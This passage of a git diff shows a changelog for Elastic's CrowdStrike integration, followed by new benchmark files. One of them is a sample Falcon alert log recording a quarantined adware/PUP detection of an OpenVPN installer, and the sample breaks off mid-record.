+      link: https://github.com/elastic/integrations/pull/12593
+- version: "1.50.0"
+  changes:
+    - description: Allow the usage of deprecated log input and support for stack 9.0
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12503
+- version: "1.49.1"
+  changes:
+    - description: Fix network direction handling for FDR data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/12508
+    - description: Handle invalid IP addresses robustly.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/12508
+- version: "1.49.0"
+  changes:
+    - description: Add "preserve_original_event" tag to documents with `event.kind` manually set to "pipeline_error".
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12109
+- version: "1.48.0"
+  changes:
+    - description: Add "preserve_original_event" tag to documents with `event.kind` set to "pipeline_error".
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12046
+- version: "1.47.0"
+  changes:
+    - description: Add Support of CrowdStrike Event Stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/11773
+- version: "1.46.0"
+  changes:
+    - description: Extract user and host names from the name field.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/11804
+    - description: Correct use of `related.hash` to `related.hosts`.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11804
+- version: "1.45.1"
+  changes:
+    - description: Use host.name in `Top Related Hosts` visualisation in Falcon Overview dashboard.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11739
+    - description: Use host.name field for `Hostname` control in Falcon Overview dashboard.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11739
+    - description: Remove unused field control `observer.address` from Falcon Overview dashboard.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11739
+    - description: Add `Severity` name to control using `crowdstrike.event.SeverityName` in Falcon Overview dashboard.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11739
+- version: "1.45.0"
+  changes:
+    - description: Add support for FQL queries in `alert` and `host` data streams.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/11734
+- version: "1.44.0"
+  changes:
+    - description: Map additional fields observed in alert data.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/11724
+- version: "1.43.0"
+  changes:
+    - description: Recover Crowdstrike-deprecated field values for `is_synthetic_quarantine_disposition`, `has_script_or_module_ioc` and `ioc_values`.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/11282
+- version: "1.42.2"
+  changes:
+    - description: Use triple-brace Mustache templating when referencing variables in ingest pipelines.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11314
+- version: "1.42.1"
+  changes:
+    - description: Use triple-brace Mustache templating when referencing variables in ingest pipelines.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11284
+- version: "1.42.0"
+  changes:
+    - description: Add support of IDP and EPP alert fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/11135
+- version: "1.41.1"
+  changes:
+    - description: Re-add ECS field definitions to enable fieldless search for kibana versions before v8.14.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11147
+- version: "1.41.0"
+  changes:
+    - description: Map `crowdstrike.CommandHistory`, `crowdstrike.ParentCommandLine` and `crowdstrike.GrandparentCommandLine` as multi-fields with `match_only_text`.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/11012
+- version: "1.40.1"
+  changes:
+    - description: Fix mapping for assessment events.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11023
+    - description: Fix handling of cases where AIP is present but empty.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11023
+- version: "1.40.0"
+  changes:
+    - description: "Allow @custom pipeline access to event.original without setting preserve_original_event."
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/10897
+- version: "1.39.3"
+  changes:
+    - description: Fix handling of event.created and timestamp fields for FDR events.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/10862
+- version: "1.39.2"
+  changes:
+    - description: Fix cursor timestamp handling.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/10694
+- version: "1.39.1"
+  changes:
+    - description: Return empty `events` array when no resources in alert, host.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/10831
+- version: "1.39.0"
+  changes:
+    - description: Improve document deduplication behavior.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/10567
+- version: "1.38.0"
+  changes:
+    - description: Improve error reporting for API request failures.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/10346
+- version: "1.37.1"
+  changes:
+    - description: Fix threat.framework when prefix is `CS`.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/10256
+- version: "1.37.0"
+  changes:
+    - description: Removed import_mappings. Update the kibana constraint to ^8.13.0. Modified the field definitions to remove ECS fields made redundant by the ecs@mappings component template.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/10135
+- version: "1.36.0"
+  changes:
+    - description: Add `device.id` field.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/10124
+- version: "1.35.0"
+  changes:
+    - description: Make `host.ip` field conform to ECS field definition.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/10120
+- version: "1.34.3"
+  changes:
+    - description: Fix handling of empty responses in CEL.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/9972
+- version: "1.34.2"
+  changes:
+    - description: Resolved ignore_malformed issues with fields.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/9832
+- version: "1.34.1"
+  changes:
+    - description: Improve error handling for renaming processors.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/9816
+- version: "1.34.0"
+  changes:
+    - description: Update manifest format version to v3.0.3.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/9536
+- version: "1.33.0"
+  changes:
+    - description: Refactor alert and host collectors and improve error handling.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/9716
+- version: "1.32.2"
+  changes:
+    - description: Fix geoip mapping to destination.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/9738
+- version: "1.32.1"
+  changes:
+    - description: Fix cache option name in FDR data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/9436
+- version: "1.32.0"
+  changes:
+    - description: Set sensitive value as secret in cel input.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/9238
+- version: "1.31.0"
+  changes:
+    - description: Add support for Alert and Host API endpoints.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8790
+- version: "1.30.0"
+  changes:
+    - description: Set sensitive values as secret.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8725
+- version: "1.29.0"
+  changes:
+    - description: Expose FDR cache options for more flexibility
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/9063
+- version: "1.28.3"
+  changes:
+    - description: Fix drive letter parsing.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/9119
+- version: "1.28.2"
+  changes:
+    - description: Add missing type mapping for host fields.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/9030
+- version: "1.28.1"
+  changes:
+    - description: Changed owners
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8943
+- version: "1.28.0"
+  changes:
+    - description: Enrich events with userinfo user details fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8742
+    - description: Map host and user metatdata to ECS fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8742
+- version: "1.27.0"
+  changes:
+    - description: Allow aidmaster metadata to be retained after host enrichment.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8715
+- version: "1.26.2"
+  changes:
+    - description: Do not populate `related.hosts` with IP values.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/8684
+- version: "1.26.1"
+  changes:
+    - description: Fix exclude_files pattern.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/8635
+- version: "1.26.0"
+  changes:
+    - description: Enrich events with aidmaster host details fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8474
+- version: 1.25.1
+  changes:
+    - description: Add new events.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8498
+- version: 1.25.0
+  changes:
+    - description: Add new dashboards for Crowdstrike and Crowdstrike Falcon
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8478
+- version: 1.24.0
+  changes:
+    - description: ECS version updated to 8.11.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8433
+- version: "1.23.1"
+  changes:
+    - description: Prefer ImageFileName for the value of process.executable.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/8322
+- version: "1.23.0"
+  changes:
+    - description: Improve 'event.original' check to avoid errors if set.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8269
+- version: "1.22.1"
+  changes:
+    - description: Fix field mapping for LMHostIDs
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/8115
+- version: 1.22.0
+  changes:
+    - description: Update the package format_version to 3.0.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8025
+- version: 1.21.0
+  changes:
+    - description: Correct invalid ECS field usages at root-level.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/7968
+- version: 1.20.0
+  changes:
+    - description: ECS version updated to 8.10.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/7905
+- version: "1.19.0"
+  changes:
+    - description: Add tags.yml file so that integration's dashboards and saved searches are tagged with "Security Solution" and displayed in the Security Solution UI.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/7789
+- version: "1.18.3"
+  changes:
+    - description: Convert Win32 timestamps to unix millisecond timestamps.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/7734
+- version: "1.18.2"
+  changes:
+    - description: Fixed event tag handling for the falcon data-stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/7625
+- version: "1.18.1"
+  changes:
+    - description: Fixed Windows NT timestamp handling.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/7548
+- version: "1.18.0"
+  changes:
+    - description: Update package to ECS 8.9.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/7107
+- version: "1.17.0"
+  changes:
+    - description: Document duration units.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/6992
+- version: "1.16.1"
+  changes:
+    - description: Remove confusing error message tag prefix.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/7105
+- version: "1.16.0"
+  changes:
+    - description: Adding new Event types to the Falcon Datastream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/6844
+- version: "1.15.0"
+  changes:
+    - description: Overhaul of the Falcon Datastream, adding plenty of new fields and ECS mappings.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/6668
+- version: "1.14.0"
+  changes:
+    - description: Ensure event.kind is correctly set for pipeline errors.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/6613
+- version: "1.13.0"
+  changes:
+    - description: Update package to ECS 8.8.0 and pkg-spec 2.7.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/6372
+- version: "1.12.1"
+  changes:
+    - description: Fix parsing errors of LocalAddressIP4 field and calculation of process.uptime.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/5957
+- version: "1.12.0"
+  changes:
+    - description: Update package to ECS 8.7.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/5765
+- version: "1.11.2"
+  changes:
+    - description: Reduce duplicate document ingestion.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/5669
+- version: "1.11.1"
+  changes:
+    - description: Multiple IPs in `aip` field and add new fields
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/5655
+- version: "1.11.0"
+  changes:
+    - description: Support `max_number_of_messages` in SQS mode
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/5595
+- version: "1.10.2"
+  changes:
+    - description: Remove redundant GeoIP look-ups.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/5456
+- version: "1.10.1"
+  changes:
+    - description: Added categories and/or subcategories.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/5123
+- version: "1.10.0"
+  changes:
+    - description: Support Windows NT timestamps for ContextTimeStamp, StartTime and EndTime FDR fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/5168
+- version: "1.9.0"
+  changes:
+    - description: Update package to ECS 8.6.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/4576
+- version: "1.8.2"
+  changes:
+    - description: Fix parse of CommandLine in Falcon pipeline
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/4758
+- version: "1.8.1"
+  changes:
+    - description: Fix parse of flattened `process` fields in Falcon data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/4709
+- version: "1.8.0"
+  changes:
+    - description: Update package to ECS 8.5.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/4285
+- version: "1.7.0"
+  changes:
+    - description: Expose Default Region setting to UI
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/4158
+- version: "1.6.1"
+  changes:
+    - description: Use ECS geo.location definition.
+      type: enhancement
+      link: https://github.com/elastic/integrations/issues/4227
+- version: "1.6.0"
+  changes:
+    - description: Parse executable for `process.name` in FDR data stream
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/4133
+- version: "1.5.1"
+  changes:
+    - description: Set default endpoint to empty string
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/4103
+- version: "1.5.0"
+  changes:
+    - description: Update package to ECS 8.4.0
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/3843
+- version: "1.4.2"
+  changes:
+    - description: Fix proxy URL documentation rendering.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/3881
+- version: "1.4.1"
+  changes:
+    - description: Update package name and description to align with standard wording
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/3478
+- version: "1.4.0"
+  changes:
+    - description: Update package to ECS 8.3.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/3353
+- version: "1.3.4"
+  changes:
+    - description: Prevent missing `@timestamp` field.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/3484
+- version: "1.3.3"
+  changes:
+    - description: Optimize FDR pipeline script processor.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/3302
+- version: "1.3.2"
+  changes:
+    - description: Format source.mac as per ECS.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/3302
+- version: "1.3.1"
+  changes:
+    - description: Update readme file. Added link to CrowdStrike docs
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/3057
+- version: "1.3.0"
+  changes:
+    - description: Update to ECS 8.2
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/2779
+- version: "1.2.7"
+  changes:
+    - description: Move invalid field value
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/3098
+- version: "1.2.6"
+  changes:
+    - description: Add documentation for multi-fields
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/2916
+- version: "1.2.5"
+  changes:
+    - description: Add date parsing for BiosReleaseDate field.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/2867
+- version: "1.2.4"
+  changes:
+    - description: Add missing field mapping for several event and host fields.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/2869
+- version: "1.2.3"
+  changes:
+    - description: Change type of 'fdr_parsing_script' variable to 'yaml' so that the multi-line string creates a valid YAML config document.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/2701
+- version: "1.2.2"
+  changes:
+    - description: Add Ingest Pipeline script to map IANA Protocol Numbers
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/2470
+- version: "1.2.1"
+  changes:
+    - description: Fix issue with "Is FDR Queue" selector having no effect.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/2653
+- version: "1.2.0"
+  changes:
+    - description: Update to ECS 8.0
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/2398
+- version: "1.1.2"
+  changes:
+    - description: Regenerate test files using the new GeoIP database
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/2339
+- version: "1.1.1"
+  changes:
+    - description: Change test public IPs to the supported subset
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/2327
+- version: "1.1.0"
+  changes:
+    - description: Add 8.0.0 version constraint
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/2229
+- version: "1.0.4"
+  changes:
+    - description: Add ability to read from both FDR provided and user owned SQS queues for FDR.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/2198
+    - description: Pipeline fixes for FDR
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/2198
+- version: "1.0.3"
+  changes:
+    - description: Uniform with guidelines
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/2022
+- version: "1.0.2"
+  changes:
+    - description: Update Title and Description.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1961
+- version: "1.0.1"
+  changes:
+    - description: Fix logic that checks for the 'forwarded' tag
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/1812
+- version: '1.0.0'
+  changes:
+    - description: make GA
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1630
+- version: "0.9.0"
+  changes:
+    - description: Update to ECS 1.12.0
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1655
+- version: "0.8.1"
+  changes:
+    - description: Add proxy config
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1648
+- version: "0.8.0"
+  changes:
+    - description: Add FDR data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1522
+    - description: Change Falcon ECS fields definition to use references
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1522
+    - description: Add cleanup processor to Falcon
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1522
+- version: '0.7.1'
+  changes:
+    - description: update to ECS 1.11.0
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1378
+- version: "0.7.0"
+  changes:
+    - description: Update integration description
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1364
+- version: "0.6.0"
+  changes:
+    - description: Set "event.module" and "event.dataset"
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1258
+- version: "0.5.0"
+  changes:
+    - description: update to ECS 1.10.0 and add event.original options
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1036
+- version: "0.4.1"
+  changes:
+    - description: update to ECS 1.9.0
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/841
+- version: "0.4.0"
+  changes:
+    - description: Moves edge processing to ingest pipeline
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/774
+- version: "0.3.1"
+  changes:
+    - description: Change kibana.version constraint to be more conservative.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/749
+- version: "0.1.0"
+  changes:
+    - description: initial release
+      type: enhancement # can be one of: enhancement, bugfix, breaking-change
+      link: https://github.com/elastic/integrations/pull/182
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml
new file mode 100644
index 0000000000..30a2b50cf6
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml
@@ -0,0 +1 @@
+num_docs: 10000
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log
new file mode 100644
index 0000000000..c0e095d6dd
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log
@@ -0,0 +1,10 @@
+{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"has_script_or_module_ioc":"true","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"is_synthetic_quarantine_disposition":true,"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","overwatch_note":"Activity Notice: OverWatch has observed XYZ","overwatch_note_timestamp":"2025-03-01T15:31:00Z","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern